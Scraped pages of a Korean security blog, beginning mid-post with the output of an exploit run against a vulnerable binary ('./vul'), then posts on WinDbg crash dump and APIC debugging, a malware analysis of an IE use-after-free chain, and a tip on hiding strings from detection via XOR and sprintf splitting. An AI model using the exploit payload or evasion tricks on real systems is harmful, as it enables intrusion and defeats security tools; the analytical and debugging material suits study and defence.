[*] write@got : 0x8049614
[*] read system offset : 0x9e5b0
[*] Dynamic section : 0x8049530
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,\x83\x0\xbf\x83\x0\x00\x00\x00\x000\x95\x0\x07\x00\x00\x00\x0c\x83\x0\xbf\x83\x0\x00\x00\x00\x1c\x96\x0    \x00\x00\x00,\x83\x0\xbf\x83\x0\x00\x00\x00\x00\x1c\x96\x0    \x00\x00\x00,\x83\x0\xbb\xbb\xaa\xaa0\x95\x0
[+] Started program './vul'
[*]
[*] read address : [0xb75f2710]
[*] system_addr : [0xb7554160]
----> 0x0000:       0xb7554160
[*] Switching to interactive mode
''' 

 

반응형
반응형

업무 중에 crash가 발생한 프로그램에 대한 메모리 덤프를 뜬 파일을 분석하게 되었습니다.

어느 부분에서 crash가 발생하였는지 확인하는 과정을 나열해 봅니다.

(※ 해당 crash 파일은 MiniDumpWriteDump API의 "MiniDumpNormal"로 설정한 파일 입니다.)

 

본문에서는 반어를 사용합니다. 이점 양해 부탁 드립니다.

-------------------------------------------------------------------------

 

crash가 발생하여 메모리를 dump를 뜬 파일을 전달 받았다.

해당 파일을 windbg로 열어서 어느 부분에서 crash가 발생하였는지 확인 해보도록 하자.

 

우선, dump 파일을 windbg의 crash file open 메뉴를 이용하여 파일을 읽어야 한다.

그렇지 않을 경우 아래와 같은 화면이 나오므로 다시 Open 하기 바란다.

 

 

 

해당 파일은 crash 파일인데 그냥 열겠냐?

라는 메시지다. yes를 누르면 아래와 같이 분석 할 수 없는 내용이 나온다.

 

 

따라서, windbg에서 crash dump 파일을 분석할 수 있는 기능인 "Open Crash Dump" 메뉴를 이용하여

파일을 열어야 분석 할 수 있는 환경이 만들어 진다.

 

 

 

굳이, 분석을 진행하지 않더라도 간단하게 어떤 이유로 crash가 발생 했는지 확인 할 수 있다.

예제 파일은 "Access violation" 으로 크래쉬가 발생한 것이다.

 

 

그럼 조금 더 분석을 하기 위해서 windbg 명령인 "!analyze -v"를 실행 한다.

 

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
test+1b1a
00401b1a c6400100        mov     byte ptr [eax+1],0

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401b1a (test+0x00001b1a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00000001
Attempt to write to address 00000001

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=00000000 ebx=0a280aa8 ecx=7f680000 edx=0008e3c8 esi=0a280a68 edi=0018f08c
eip=77e70c42 esp=0018ed4c ebp=0018ed5c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtGetContextThread+0x12:
77e70c42 83c404          add     esp,4

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_WRITE

PROCESS_NAME:  test.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00000001

WRITE_ADDRESS:  00000001

FOLLOWUP_IP:
test+1b1a
00401b1a c6400100        mov     byte ptr [eax+1],0

APP:  test.exe

ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre

FAULTING_THREAD:  00002704

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_WRITE

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_WRITE

LAST_CONTROL_TRANSFER:  from 00401f46 to 00401b1a

STACK_TEXT: 
WARNING: Stack unwind information not available. Following frames may be wrong.
0018fe70 00401f46 00000000 00000000 cccccccc test+0x1b1a
0018fed4 00411808 00400000 00000000 0a0da4ed test+0x1f46
0018ff80 0041156f 0018ff94 7745336a 7efde000 test+0x11808
0018ff88 7745336a 7efde000 0018ffd4 77e89f72 test+0x1156f
0018ff94 77e89f72 7efde000 558d3134 00000000 kernel32!BaseThreadInitThunk+0xe
0018ffd4 77e89f45 00411560 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0018ffec 00000000 00411560 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  test+1b1a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: test

IMAGE_NAME:  test.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  53210e00

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_WRITE_c0000005_test.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_NULL_CLASS_PTR_WRITE_test+1b1a

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:null_class_ptr_write_c0000005_test.exe!unknown

FAILURE_ID_HASH:  {f756d029-0188-112b-7fe5-3c317ed11732}

Followup: MachineOwner
---------

 

 

test+1b1a 00401b1a c6400100        mov     byte ptr [eax+1],0

 

위 코드로 인하여, 실행하는 과정에서 문제가 발생 하였다.

해당 Address를 알 수 있으므로, 디버깅하기는 수월할 것이다.

(소스 코드와 연동하면 더욱 더 편하게 분석 할 수 있다.)

 

조금 더 아래로 내려와서 분석을 하다보면

 

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_WRITE

 

이런 내용이 보일 것이다. 해당 내용은 Write 하려는 class pointer가 NULL 값을 가지므로 인해서

Write 할 수 없다는 의미이다.

 

이것으로 crash dump 분석을 마무리 하도록 하겠다.

반응형
반응형

해당 글은 ioapic를 확인하는 과정에서 오류가 발생하여, 원인을 파악하던 중 발견된 내용입니다.

확인 해보니 버전과 관련해서 동기화가 되지 않아 발생한 것으로 나옵니다.

보다 상세한 인터럽트 관련된 내용은 추후 또는 검색을 통해서 확인 해보시길 바랍니다.

이후 부터는 반어를 사용합니다. 이점 양해해주십시오. 감사합니다.

-----------------------------------------------------------------------------------------------

 

Windows에서 인터럽트는 하드웨어 인터럽트와 프로그래밍 인터럽트(PIC)가 있다.

하드웨어 인터럽트는 여기에서 다루지 않고 프로그래밍 인터럽트에 대해서 확인 과정을 정리하도록 하겠다.

프로그래밍 인터럽트는 PIC(Programmable Interrupt Contorller)라고 한다.

 

또한, PIC는 x86에서는 i8259A PIC / i82489 APIC(Advanced Programmable Interrupt Controller)로 나뉘어 사용된다.

x64에서는 APIC를 사용하기 때문에 APIC를 제공하지 않는 시스템에서는 인터럽트를 사용할 수 없다.

 

그럼 PIC와 APIC의 내용을 확인 해보자.

PIC, APIC는 HAL*.DLL을 기반으로 동작하기 때문에 PIC가 만약 실행되지 않는다면 APIC HAL(Halapic.dll)을 사용하기 때문이다.

그러나, 아래와 같이 PIC가 동작한다면 APIC는 MPS HAL(Halmps.dll)을 사용하기 때문에 PIC, APIC가 동작하게 되는 것이다.

(※ 더 자세한 내용은 http://support.microsoft.com/kb/309283/ko 확인 해보길 바란다.)

 

 

kd> !pic

----- IRQ Number ----- 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
Physically in service:  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
Physically masked:      Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y
Physically requested:   Y  .  .  .  .  .  Y  .  Y  Y  .  .  Y  .  .  Y
Level Triggered:        .  .  .  .  .  Y  .  .  .  Y  Y  Y  .  .  .  .

0: kd> !apic
Apic @ fffe0000  ID:0 (40011)  LogDesc:01000000  DestFmt:ffffffff  TPR 00
TimeCnt: 00000000clk  SpurVec:1f  FaultVec:e3  error:0
Ipi Cmd: 0e000000`000008e1  Vec:E1  FixedDel  Lg:0e000000      edg high      
Timer..: 00000000`000300fd  Vec:FD  FixedDel    Dest=Self      edg high      m
Linti0.: 00000000`0001001f  Vec:1F  FixedDel    Dest=Self      edg high      m
Linti1.: 00000000`000004ff  Vec:FF  NMI         Dest=Self      edg high      
TMR: 56, 76, 86, B1
IRR: 56, B1, D1
ISR: D1

 

추가적으로 I/O APIC를 확인하기 위해서 명령어를 입력할 경우 아래와 같은 에러 메시지가 발생하게 된다면

버전과 관련된 부분일 수 있으므로 .reload 후 다시 조회할 경우 가능하게 된다.

(※ 3번 연속으로 조회를 할 경우 되는 경우도 있다고 하니 참고 하길 바란다.

http://www.osronline.com/showthread.cfm?link=226560)

 

 

1: kd> !ioapic
Error retrieving address of HalpMpInfoTable

 

1: kd> .reload
Connected to Windows 7 7601 x86 compatible target at (Mon Mar 10 08:54:00.789 2014 (UTC + 9:00)), ptr64 FALSE
Loading Kernel Symbols
.............................................................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

..
................................................................
...........................
Loading User Symbols

Loading unloaded module list
.......
1: kd> .reload hal
1: kd> dt hal!HalpMpInfo

   +0x000 ApicVersion      : Uint4B
   +0x004 ProcessorCount   : Uint4B
   +0x008 DynamicProcessorCount : Uint4B
   +0x00c NtProcessors     : Uint4B
   +0x010 StartedPackages  : Uint4B
   +0x014 BusCount         : Uint4B
   +0x018 IoApicCount      : Uint4B
   +0x01c IoApicIntiCount  : Uint4B
   +0x020 LintiCount       : Uint4B
   +0x024 IMCRPresent      : Uint4B
   +0x028 LocalApicBase    : Uint4B
   +0x02c IoApicBase       : Ptr32 Ptr32 Uint4B
   +0x030 IoApicPhys       : Ptr32 Uint4B
   +0x034 IoApicIntiBase   : Ptr32 Uint4B

1: kd> dt hal!HalpMpInfo @@masm(hal!HalpMpInfoTable)
   +0x000 ApicVersion      : 0x10
   +0x004 ProcessorCount   : 4
   +0x008 DynamicProcessorCount : 0
   +0x00c NtProcessors     : 4
   +0x010 StartedPackages  : 1
   +0x014 BusCount         : 0
   +0x018 IoApicCount      : 1
   +0x01c IoApicIntiCount  : 0xf0
   +0x020 LintiCount       : 0
   +0x024 IMCRPresent      : 0
   +0x028 LocalApicBase    : 0xfee00000
   +0x02c IoApicBase       : 0xffd04044  -> 0xffd05000  -> 0x1c
   +0x030 IoApicPhys       : 0xffd04048  -> 0xfec00000
   +0x034 IoApicIntiBase   : 0xffd0404c  -> 0


1: kd> !ioapic
IoApic @ FEC00000  ID:4 (11)  Arb:4000000
Inti00.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti01.: 0f000000`00000971  Vec:71  LowestDl  Lg:0f000000      edg high      
Inti02.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti03.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti04.: 0f000000`000009b2  Vec:B2  LowestDl  Lg:0f000000      edg high      
Inti05.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti06.: 00000000`000109a2  Vec:A2  LowestDl  Lg:00000000      edg high      m
Inti07.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti08.: 01000000`000008d1  Vec:D1  FixedDel  Lg:01000000      edg high      
Inti09.: 0f000000`0000e9b1  Vec:B1  LowestDl  Lg:0f000000      lvl low  rirr 
Inti0A.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti0B.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti0C.: 0f000000`00000961  Vec:61  LowestDl  Lg:0f000000      edg high      
Inti0D.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti0E.: 0f000000`000009b6  Vec:B6  LowestDl  Lg:0f000000      edg high      
Inti0F.: 0f000000`000009a6  Vec:A6  LowestDl  Lg:0f000000      edg high      
Inti10.: 0f000000`0000a976  Vec:76  LowestDl  Lg:0f000000      lvl low       
Inti11.: 0f000000`0000a986  Vec:86  LowestDl  Lg:0f000000      lvl low       
Inti12.: 0f000000`0000e956  Vec:56  LowestDl  Lg:0f000000      lvl low  rirr 
Inti13.: 0f000000`0000a966  Vec:66  LowestDl  Lg:0f000000      lvl low       
Inti14.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti15.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti16.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti17.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m

 

 

 

반응형
반응형

---------------------------------------------------------------------------------------

우연찮게 악성코드를 입수하여 분석을 진행 하였습니다.

제가 원하던 업무가 이거구나 하는 즐거움으로 진행 합니다.

 

향후 반어를 사용하므로 이점 미리 양해 부탁 드립니다.

---------------------------------------------------------------------------------------

 

지인과의 이야기를 나누던 중 MS 취약점을 이용한 악성 코드가 유포 되었다는 이야기에 부랴부랴 인터넷 서핑을 했다.

그로 인하여, 아래의 파일을 구할 수 있었다.

 

 703ed7b0401c071564b9eeb743be4115f31b

 HTML

 e05e0113c167ba3878f73c64d55e5a2aff9a

 SWF

 152010b5a90c9a3fa4398f9e4595f95d4df2

 JPG

 

악성 코드 유포 방식은 아래와 같다.

 

HTML -> SWF 실행 -> JPG 파일 다운로드 -> JPG 특정 영역 메모리에 Load -> SWF에서 puIHa3() 호출 -> HTML 내부에 있는 pulHa3() 실행 - > 악성코드 실행 및 드랍(?)

 

전체 흐름은 위와 같으므로 부분으로 나눠서 따라가 보도록 하자.

먼저 HTML 코드를 확인 해보도록 합시다.(취약점은 Use After Free.)

 

 

 

 

이렇 듯 HTML 에서는 SWF 파일을 호출 하게 된다. 호출 된 SWF의 Action Script 정보를 추출하면 아래와 같은 내용이 나오게 된다.

 

 

 

 

 

SWF 파일의 Erido.jpg 파일을 로드 하는 것을 볼 수 있다. 그러나, Erido.jpg 파일을 그냥 로드 하는 것이 아니라

Endian.LITTLE_ENDIAN 형태로 읽어 드린 후 offset "36321" 위치 부터 메모리에 올리는 것을 확인 할 수 있다.

 

 

바이너리 파일은 아래와 같이 10진수로 표시된 것을 16진수로 변환하게 되면 binary 및 쉘코드를 확인 할 수 있다.

 

 

그 뒤, 메모리에 올린 이후 HTML 내부에 있는 puIHa3()를 호출하여, 쉘코드를 실행 하게 된다.

 

 

 

여기까지 분석하였으며, 이후 분석은 아래의 사이트를 참조하길 바란다.

http://redhidden.tistory.com/47

 

반응형
반응형

 

시스템 유휴 프로세스란?

시스템 상에서의 사용하지 않고 있는 프로세스를 의미하는 문장입니다.

 

그럼 시스템 상에서 사용하지 않고 있는 프로세스의 의미는 무엇인가?

간단하게 말하면 현재 전체 사용량 중에 사용 하지 않고 남아있는 량이라고 보시면 됩니다.

 

즉,

 

 

 

위와 같이 작업관리자에 표기 되었다면 현재 2%만 CPU를 사용하고 있고,

98%는 놀고 있다고 보시면 됩니다. 옆에 사용하는 메모리는 그 유휴 프로세스 량을 축정하기 위해 사용 되어지고 있는

량이 24kb입니다.

 

그러니까,

 

실제 사용하고 있는 프로세스 량 : 100%-98% = 2%

이라는 거죠.

 

그럼 즐거운 한 주 되시길 바랍니다.

 

반응형
반응형

 

분석을 하다보니 이런 경우가 있어 소개합니다.

아시는 분들도 있고, 탐지하고 계신 분들도 있지만 그래도 소수를 위하여^^???

공유합니다.

 

"crattack"라는 문자열을 탐지할 경우

그냥 "crattack"로 사용하면 탐지가 되겠죠. 그래서 방법 중에 하나가 암호화를 이용하는 것입니다.

간단하게 xor를 하던지 하여, xor한 문자열을 다시 로딩하기전에 xor 하여 로딩하는 방식이죠.

 

enc_str = "fproskrlrksjflfkrj";

loadlibrary(xor_dec(enc_str));

 

이런 형태?^^

 

그리고, 두번째는 조합을 이용한 방식 입니다.

 

sprintf(buff, "crat%s", "ttack");

loadlibary(buff);

 

이렇게 해도 우회가 되겠죠?^^

 

물론 사용하는 Loadlibary를 감시해서 처리해도 무방하지만

뭐..하나의 방법이니 참고하시면 좋겠네요.

 

즐거운 삽질 만땅하시길...^^

(참고로 위 사례는 실제 핵킹 툴에서 사용하는 사례입니다.)

반응형

+ Recent posts